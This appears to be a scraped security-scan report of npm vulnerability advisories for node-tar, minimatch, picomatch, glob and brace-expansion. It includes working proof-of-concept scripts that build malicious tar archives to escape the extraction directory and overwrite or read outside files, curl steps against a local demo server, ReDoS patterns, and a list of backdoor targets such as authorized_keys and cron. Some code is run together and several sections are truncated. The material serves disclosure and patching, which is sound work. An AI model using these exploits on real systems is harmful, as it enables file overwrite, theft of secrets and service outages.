You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS
AUTHOR: Tomás Illuminati
Details
A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.
// node-tar/src/path-reservations.ts (Lines 53-62)reserve(paths: string[],fn: Handler){paths=isWindows ?
['win32 parallelization disabled']
: paths.map(p=>{returnstripTrailingSlashes(join(normalizeUnicode(p)),// <- THE PROBLEM FOR MacOS FS).toLowerCase()})
In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:
bash-3.2$ printf"CONTENT_SS\n"> collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf"CONTENT_ESSZETT\n"> collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x 3 testuser staff 96 Jan 19 01:25 .
drwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 ..
-rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collision_test_ss
bash-3.2$
PoC
consttar=require('tar');constfs=require('fs');constpath=require('path');const{ PassThrough }=require('stream');constexploitDir=path.resolve('race_exploit_dir');if(fs.existsSync(exploitDir))fs.rmSync(exploitDir,{recursive: true,force: true});fs.mkdirSync(exploitDir);console.log('[*] Testing...');console.log(`[*] Extraction target: ${exploitDir}`);// Construct streamconststream=newPassThrough();constcontentA='A'.repeat(1000);constcontentB='B'.repeat(1000);// Key 1: "f_ss"constheader1=newtar.Header({path: 'collision_ss',mode: 0o644,size: contentA.length,});header1.encode();// Key 2: "f_ß"constheader2=newtar.Header({path: 'collision_ß',mode: 0o644,size: contentB.length,});header2.encode();// Write to streamstream.write(header1.block);stream.write(contentA);stream.write(Buffer.alloc(512-(contentA.length%512)));// Paddingstream.write(header2.block);stream.write(contentB);stream.write(Buffer.alloc(512-(contentB.length%512)));// Padding// Endstream.write(Buffer.alloc(1024));stream.end();// Extractconstextract=newtar.Unpack({cwd: exploitDir,// Ensure jobs is high enough to allow parallel processing if locks failjobs: 8});stream.pipe(extract);extract.on('end',()=>{console.log('[*] Extraction complete');// Check what existsconstfiles=fs.readdirSync(exploitDir);console.log('[*] Files in exploit dir:',files);files.forEach(f=>{constp=path.join(exploitDir,f);conststat=fs.statSync(p);constcontent=fs.readFileSync(p,'utf8');console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0,10)}... (Length: ${content.length})`);});if(files.length===1||(files.length===2&&fs.statSync(path.join(exploitDir,files[0])).ino===fs.statSync(path.join(exploitDir,files[1])).ino)){console.log('\[*] GOOD');}else{console.log('[-] No collision');}});
Impact
This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.
Remediation
Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').
Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.
Details
The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value.
What happens with linkpath: "C:../../../target.txt":
stripAbsolutePath() removes C: and rewrites the value to ../../../target.txt.
The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
Symlink creation uses the rewritten value (../../../target.txt) from nested path a/b/l.
Writing through the extracted symlink overwrites the outside file (../target.txt).
This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.
PoC
Tested on Arch Linux with tar@<!-- -->7.5.10.
PoC script (poc.cjs):
constfs=require('fs')constpath=require('path')const{ Header, x }=require('tar')constcwd=process.cwd()consttarget=path.resolve(cwd,'..','target.txt')consttarFile=path.join(cwd,'poc.tar')fs.writeFileSync(target,'ORIGINAL\n')constb=Buffer.alloc(1536)newHeader({path: 'a/b/l',type: 'SymbolicLink',linkpath: 'C:../../../target.txt',}).encode(b,0)fs.writeFileSync(tarFile,b)x({ cwd,file: tarFile}).then(()=>{fs.writeFileSync(path.join(cwd,'a/b/l'),'PWNED\n')process.stdout.write(fs.readFileSync(target,'utf8'))})
Run:
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
Observed output:
PWNED
../../../target.txt
lrwxrwxrwx - joshuavr 7 Mar 18:37 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr 7 Mar 18:37 ../target.txt
PWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory.
Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.
Realistic scenarios:
CLI tools unpacking untrusted tarballs into a working directory
tar (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.
Details
The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments before stripping absolute roots.
What happens with linkpath: "C:../target.txt":
Split on / gives ['C:..', 'target.txt'], so parts.includes('..') is false.
stripAbsolutePath() removes C: and rewrites the value to ../target.txt.
Hardlink creation resolves this against extraction cwd and escapes one directory up.
Writing through the extracted hardlink overwrites the outside file.
This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.
PoC
Tested on Arch Linux with tar@<!-- -->7.5.9.
PoC script (poc.cjs):
constfs=require('fs')constpath=require('path')const{ Header, x }=require('tar')constcwd=process.cwd()consttarget=path.resolve(cwd,'..','target.txt')consttarFile=path.join(process.cwd(),'poc.tar')fs.writeFileSync(target,'ORIGINAL\n')constb=Buffer.alloc(1536)newHeader({path: 'l',type: 'Link',linkpath: 'C:../target.txt'}).encode(b,0)fs.writeFileSync(tarFile,b)x({ cwd,file: tarFile}).then(()=>{fs.writeFileSync(path.join(cwd,'l'),'PWNED\n')process.stdout.write(fs.readFileSync(target,'utf8'))})
Run:
cd test-workspace
node poc.cjs && ls -l ../target.txt
Observed output:
PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar 4 19:25 ../target.txt
PWNED confirms outside file content overwrite. Link count 2 confirms the extracted file and ../target.txt are hardlinked.
Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.
Realistic scenarios:
CLI tools unpacking untrusted tarballs into a working directory
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected range
<7.5.7
Fixed version
7.5.7
CVSS Score
8.2
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
EPSS Score
0.021%
EPSS Percentile
6th percentile
Description
Summary
node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.
Details
The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently:
Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd.
Security check resolves the linkpath relative to the entry's parent directory: a/b/c/d/ + ../../../../etc/passwd = etc/passwd. No ../ prefix, so it passes.
Hardlink creation resolves the linkpath relative to the extraction directory (this.cwd): /var/app/uploads/ + ../../../../etc/passwd = /etc/passwd. This escapes to the system's /etc/passwd.
The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.
PoC
Setup
Create a new directory with these files:
poc/
├── package.json
├── secret.txt ← sensitive file (target)
├── server.js ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/ ← created automatically by server.js
└── (extracted files go here)
package.json
{ "dependencies": { "tar": "^7.5.0" } }
secret.txt (sensitive file outside uploads/)
DATABASE_PASSWORD=supersecret123
server.js (vulnerable file upload server)
consthttp=require('http');constfs=require('fs');constpath=require('path');consttar=require('tar');constPORT=3000;constUPLOAD_DIR=path.join(__dirname,'uploads');fs.mkdirSync(UPLOAD_DIR,{recursive: true});http.createServer((req,res)=>{if(req.method==='POST'&&req.url==='/upload'){constchunks=[];req.on('data',c=>chunks.push(c));req.on('end',async()=>{fs.writeFileSync(path.join(UPLOAD_DIR,'upload.tar'),Buffer.concat(chunks));awaittar.extract({file: path.join(UPLOAD_DIR,'upload.tar'),cwd: UPLOAD_DIR});res.end('Extracted\n');});}elseif(req.method==='GET'&&req.url==='/read'){// Simulates app serving extracted files (e.g., file download, static assets)consttargetPath=path.join(UPLOAD_DIR,'d','x');if(fs.existsSync(targetPath)){res.end(fs.readFileSync(targetPath));}else{res.end('File not found\n');}}elseif(req.method==='POST'&&req.url==='/write'){// Simulates app writing to extracted file (e.g., config update, log append)constchunks=[];req.on('data',c=>chunks.push(c));req.on('end',()=>{consttargetPath=path.join(UPLOAD_DIR,'d','x');if(fs.existsSync(targetPath)){fs.writeFileSync(targetPath,Buffer.concat(chunks));res.end('Written\n');}else{res.end('File not found\n');}});}else{res.end('POST /upload, GET /read, or POST /write\n');}}).listen(PORT,()=>console.log(`http://localhost:${PORT}`));
# Setup
npm install
echo"DATABASE_PASSWORD=supersecret123"> secret.txt
# Terminal 1: Start server
node server.js
# Terminal 2: Execute attack
node create-malicious-tar.js
curl -X POST --data-binary @<!-- -->malicious.tar http://localhost:3000/upload
# READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read
# Returns: DATABASE_PASSWORD=supersecret123# WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write
# Confirm secret.txt was modified
cat secret.txt
Impact
An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:
Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process.
Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.
Remote Code Execution / Server Takeover
Attack Vector
Target File
Result
SSH Access
~/.ssh/authorized_keys
Direct shell access to server
Cron Backdoor
/etc/cron.d/*, ~/.crontab
Persistent code execution
Shell RC Files
~/.bashrc, ~/.profile
Code execution on user login
Web App Backdoor
Application .js, .php, .py files
Immediate RCE via web requests
Systemd Services
/etc/systemd/system/*.service
Code execution on service restart
User Creation
/etc/passwd (if running as root)
Add new privileged user
Data Exfiltration & Corruption
Overwrite arbitrary files via hardlink escape + subsequent write operations
Read sensitive files by creating hardlinks that point outside extraction directory
Corrupt databases and application state
Steal credentials from config files, .env, secrets
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets.
Details
The vulnerability exists in src/unpack.ts within the [HARDLINK] and [SYMLINK] methods.
1. Hardlink Escape (Arbitrary File Overwrite)
The extraction logic uses path.resolve(this.cwd, entry.linkpath) to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (entry.linkpath) is an absolute path, path.resolve ignores the first argument (this.cwd) entirely and returns the absolute path.
The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., /etc/passwd) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.
2. Symlink Poisoning
The extraction logic passes the user-supplied entry.linkpath directly to fs.symlink without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (../../), even when secure extraction defaults are used.
PoC
The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to /etc/passwd). It then extracts the archive using standard node-tar settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.
constfs=require('fs')constpath=require('path')consttar=require('tar')constout=path.resolve('out_repro')constsecret=path.resolve('secret.txt')consttarFile=path.resolve('exploit.tar')consttargetSym='/etc/passwd'// Cleanup & Setuptry{fs.rmSync(out,{recursive:true,force:true});fs.unlinkSync(secret)}catch{}fs.mkdirSync(out)fs.writeFileSync(secret,'ORIGINAL_DATA')// 1. Craft malicious Link header (Hardlink to absolute local file)consth1=newtar.Header({path: 'exploit_hard',type: 'Link',size: 0,linkpath: secret})h1.encode()// 2. Craft malicious Symlink header (Symlink to /etc/passwd)consth2=newtar.Header({path: 'exploit_sym',type: 'SymbolicLink',size: 0,linkpath: targetSym})h2.encode()// Write binary tarfs.writeFileSync(tarFile,Buffer.concat([h1.block,h2.block,Buffer.alloc(1024)]))console.log('[*] Extracting malicious tarball...')// 3. Extract with default secure settingstar.x({cwd: out,file: tarFile,preservePaths: false}).then(()=>{console.log('[*] Verifying payload...')// Test Hardlink Overwritetry{fs.writeFileSync(path.join(out,'exploit_hard'),'OVERWRITTEN')if(fs.readFileSync(secret,'utf8')==='OVERWRITTEN'){console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')}else{console.log('[-] Hardlink failed')}}catch(e){}// Test Symlink Poisoningtry{if(fs.readlinkSync(path.join(out,'exploit_sym'))===targetSym){console.log('[+] VULN CONFIRMED: Symlink points to absolute path')}else{console.log('[-] Symlink failed')}}catch(e){}})
Impact
Arbitrary File Overwrite: An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.
Remote Code Execution (RCE): In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all Link and SymbolicLink tar entries from extracted packages.)
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected range
<7.5.8
Fixed version
7.5.8
CVSS Score
7.1
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
EPSS Score
0.007%
EPSS Percentile
1st percentile
Description
Summary
tar.extract() in Node tar allows an attacker-controlled archive to create a hardlink inside the extraction directory that points to a file outside the extraction root, using default options.
This enables arbitrary file read and write as the extracting user (no root, no chmod, no preservePaths).
Severity is high because the primitive bypasses path protections and turns archive extraction into a direct filesystem access primitive.
Details
The bypass chain uses two symlinks plus one hardlink:
Parent directory safety checks (mkdir + symlink detection) are applied to the destination path of the extracted entry, not to the resolved hardlink target path.
As a result, exfil is created inside extraction root but linked to an external file. The PoC confirms shared inode and successful read+write via exfil.
minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.
The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.
Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
PoC
When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***:
When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential.
Impact
Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes:
File search/filter UIs that accept glob patterns
.gitignore-style filtering with user-defined rules
Build tools that accept glob configuration
Any API that exposes glob matching to untrusted input
Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.
Inefficient Regular Expression Complexity
Affected range
>=9.0.0 <9.0.7
Fixed version
9.0.7
CVSS Score
7.5
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score
0.025%
EPSS Percentile
7th percentile
Description
Summary
Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.
Details
The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:
These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.
The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.
Measured times via minimatch():
Pattern
Input
Time
*(*(a|b))
a x30 + z
~68,000ms
*(*(*(a|b)))
a x20 + z
~124,000ms
*(*(*(*(a|b))))
a x25 + z
~116,000ms
*(a|a)
a x25 + z
~2,000ms
Depth inflection at fixed input a x16 + z:
Depth
Pattern
Time
1
*(a|b)
0ms
2
*(*(a|b))
4ms
3
*(*(*(a|b)))
270ms
4
*(*(*(*(a|b))))
115,000ms
Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- verify the generated regexps and timing (standalone script)
Save as poc4-validate.mjs and run with node poc4-validate.mjs:
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false
The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.
Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
Impact
Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.
Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).
Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
Inefficient Algorithmic Complexity
Affected range
>=9.0.0 <9.0.7
Fixed version
9.0.7
CVSS Score
7.5
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score
0.027%
EPSS Percentile
7th percentile
Description
Summary
matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).
There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.
The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:
{"result":true,"ms":"0"}
time_total: 0.001599s
Impact
Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.
picomatch4.0.3 (npm)
pkg:npm/picomatch@4.0.3
Inefficient Regular Expression Complexity
Affected range
>=4.0.0 <4.0.4
Fixed version
4.0.4
CVSS Score
7.5
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score
0.055%
EPSS Percentile
17th percentile
Description
Impact
picomatch is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as +() and *(), especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input.
Examples of problematic patterns include +(a|aa), +(*|?), +(+(a)), *(+(a)), and +(+(+(a))). In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, +(a|aa) compiled to ^(?:(?=.)(?:a|aa)+)$ and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as +(+(a)) and *(+(a)) took around 29 seconds to reject a 33-character input on a modern M1 MacBook.
Applications are impacted when they allow untrusted users to supply glob patterns that are passed to picomatch for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way.
Patches
This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.
Users should upgrade to one of these versions or later, depending on their supported release line.
Workarounds
If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.
Possible mitigations include:
disable extglob support for untrusted patterns by using noextglob: true
reject or sanitize patterns containing nested extglobs or extglob quantifiers such as +() and *()
enforce strict allowlists for accepted pattern syntax
run matching in an isolated worker or separate process with time and resource limits
apply application-level request throttling and input validation for any endpoint that accepts glob patterns
Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Affected range
>=4.0.0 <4.0.4
Fixed version
4.0.4
CVSS Score
5.3
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score
0.168%
EPSS Percentile
38th percentile
Description
Impact
picomatch is vulnerable to a method injection vulnerability (CWE-1321) affecting the POSIX_REGEX_SOURCE object. Because the object inherits from Object.prototype, specially crafted POSIX bracket expressions (e.g., [[:constructor:]]) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression.
This leads to incorrect glob matching behavior (integrity impact), where patterns may match unintended filenames. The issue does not enable remote code execution, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control.
All users of affected picomatch versions that process untrusted or user-controlled glob patterns are potentially impacted.
Patches
This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.
Users should upgrade to one of these versions or later, depending on their supported release line.
Workarounds
If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.
Possible mitigations include:
Sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like [[:...:]].
Avoiding the use of POSIX bracket expressions if user input is involved.
Manually patching the library by modifying POSIX_REGEX_SOURCE to use a null prototype:
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected range
>=10.2.0 <10.5.0
Fixed version
11.1.0
CVSS Score
7.5
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Score
0.022%
EPSS Percentile
6th percentile
Description
Summary
The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.
Details
Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:
Commands execute with full privileges of the user running glob CLI
No privilege escalation required - runs as current user
Access to environment variables, file system, and network
Real-World Attack Scenarios:
1. CI/CD Pipeline Compromise:
Malicious PR adds files with crafted names to repository
CI pipeline uses glob -c to process files (linting, testing, deployment)
Commands execute in CI environment with build secrets and deployment credentials
Potential for supply chain compromise through artifact tampering
2. Developer Workstation Attack:
Developer clones repository or extracts archive containing malicious filenames
Local build scripts use glob -c for file processing
Developer machine compromise with access to SSH keys, tokens, local services
3. Automated Processing Systems:
Services using glob CLI to process uploaded files or external content
File uploads with malicious names trigger command execution
Server-side compromise with potential for lateral movement
4. Supply Chain Poisoning:
Malicious packages or themes include files with crafted names
Build processes using glob CLI automatically process these files
Wide distribution of compromise through package ecosystems
Platform-Specific Risks:
POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
Mixed Environments: CI systems often use Linux containers regardless of developer platform
Affected Products
Ecosystem: npm
Package name: glob
Component: CLI only (src/bin.mts)
Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)
Patched versions: 11.1.0and 10.5.0
Scope Limitation:
Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe
CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable
Remediation
Upgrade to glob@<!-- -->10.5.0, glob@<!-- -->11.1.0, or higher, as soon as possible.
If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.
Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.
brace-expansion2.0.1 (npm)
pkg:npm/brace-expansion@2.0.1
Uncontrolled Resource Consumption
Affected range
>=2.0.0 <2.0.3
Fixed version
5.0.5
CVSS Score
6.5
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score
0.058%
EPSS Percentile
18th percentile
Description
Impact
A brace pattern with a zero step value (e.g., {1..2..0}) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory.
The increment is computed as Math.abs(0) = 0, so the loop variable never advances. On a test machine, the process hangs for about 3.5 seconds and allocates roughly 1.9 GB of memory before throwing a RangeError. Setting max to any value has no effect because the limit is only checked at the output combination step, not during sequence generation.
This affects any application that passes untrusted strings to expand(), or by error sets a step value of 0. That includes tools built on minimatch/glob that resolve patterns from CLI arguments or config files. The input needed is just 10 bytes.
Patches
Upgrade to versions
5.0.5+
A step increment of 0 is now sanitized to 1, which matches bash behavior.
Workarounds
Sanitize strings passed to expand() to ensure a step value of 0 is not used.
A vulnerability was found in juliangruber brace-expansion up to 1.1.11/2.0.1/3.0.0/4.0.0. It has been rated as problematic. Affected by this issue is the function expand of the file index.js. The manipulation leads to inefficient regular expression complexity. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.12, 2.0.2, 3.0.1 and 4.0.1 is able to address this issue. The name of the patch is a5b98a4f30d7813266b221435e1eaaf25a1b0ac5. It is recommended to upgrade the affected component.
brace-expansion5.0.4 (npm)
pkg:npm/brace-expansion@5.0.4
Uncontrolled Resource Consumption
Affected range
>=4.0.0 <5.0.5
Fixed version
5.0.5
CVSS Score
6.5
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score
0.058%
EPSS Percentile
18th percentile
Description
Impact
A brace pattern with a zero step value (e.g., {1..2..0}) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory.
The increment is computed as Math.abs(0) = 0, so the loop variable never advances. On a test machine, the process hangs for about 3.5 seconds and allocates roughly 1.9 GB of memory before throwing a RangeError. Setting max to any value has no effect because the limit is only checked at the output combination step, not during sequence generation.
This affects any application that passes untrusted strings to expand(), or by error sets a step value of 0. That includes tools built on minimatch/glob that resolve patterns from CLI arguments or config files. The input needed is just 10 bytes.
Patches
Upgrade to versions
5.0.5+
A step increment of 0 is now sanitized to 1, which matches bash behavior.
Workarounds
Sanitize strings passed to expand() to ensure a step value of 0 is not used.
Attempting to parse a patch whose filename headers contain the line break characters \r, \u2028, or \u2029 can cause the parsePatch method to enter an infinite loop. It then consumes memory without limit until the process crashes due to running out of memory.
